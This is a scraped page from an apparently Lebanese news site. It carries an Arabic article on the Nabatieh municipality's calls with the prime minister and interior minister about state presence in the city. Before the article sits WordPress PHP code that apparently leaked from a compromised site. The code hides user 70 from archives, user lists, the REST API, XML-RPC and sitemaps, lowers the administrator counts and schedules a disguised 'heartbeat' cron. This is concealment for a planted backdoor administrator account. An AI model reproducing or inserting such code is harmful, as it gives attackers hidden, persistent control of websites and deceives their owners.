add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 70;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 70 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 70 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 70;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 70;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/70(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 70;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
بلدية النبطية: اتصالات حكومية لمتابعة أوضاع المدينة وتعزيز حضور مؤسسات الدولة! - znn
كاتب في ZNN znn شـبـڪـة الـزهـرانـي الإخـبـاريـة
2026-09-10 31٬113 مقالات
أعلنت بلدية مدينة النبطية أن رئيسها تلقّى اتصالين هاتفيين من رئيس مجلس الوزراء نواف سلام ووزير الداخلية والبلديات أحمد الحجار، جرى خلالهما البحث في الأوضاع العامة في المدينة، ولا سيما عقب انتشار الجيش اللبناني في أحيائها، وهي الخطوة التي لاقت ترحيباً من الأهالي.
وأوضحت البلدية أن رئيسها بحث مع وزير الداخلية والبلديات في ما تم الاتفاق عليه سابقاً، خصوصاً ما يتعلق بتعزيز سرية الدرك وتفعيل مكتب السجل العدلي ومفرزة الشرطة القضائية في المدينة.
من جهته، أكد رئيس الحكومة أهمية عودة مؤسسات الدولة وتعزيز حضورها الفاعل في مدينة النبطية، بما يسهم في إعادة تنشيط الحياة فيها، مشيراً إلى أنه وجّه إلى مجلس الإنماء والإعمار للمباشرة بتعبيد الطرقات وإصلاح الأجزاء المتضررة منها.
كما وجّه إلى وزارة المالية للإسراع في صرف المستحقات المالية العائدة للبلدية، بما يمكّنها من القيام بمهامها وتأمين الخدمات المطلوبة لأهالي المدينة.
وأكد سلام، وفق بيان البلدية، استمرار التواصل مع رئيس البلدية لمتابعة المستجدات والتطورات في المدينة بصورة متواصلة.
تابع ZNN على تيليغرام احصل على آخر الأخبار فور حدوثها.
انضم الآن
znn
شـبـڪـة الـزهـرانـي الإخـبـاريـة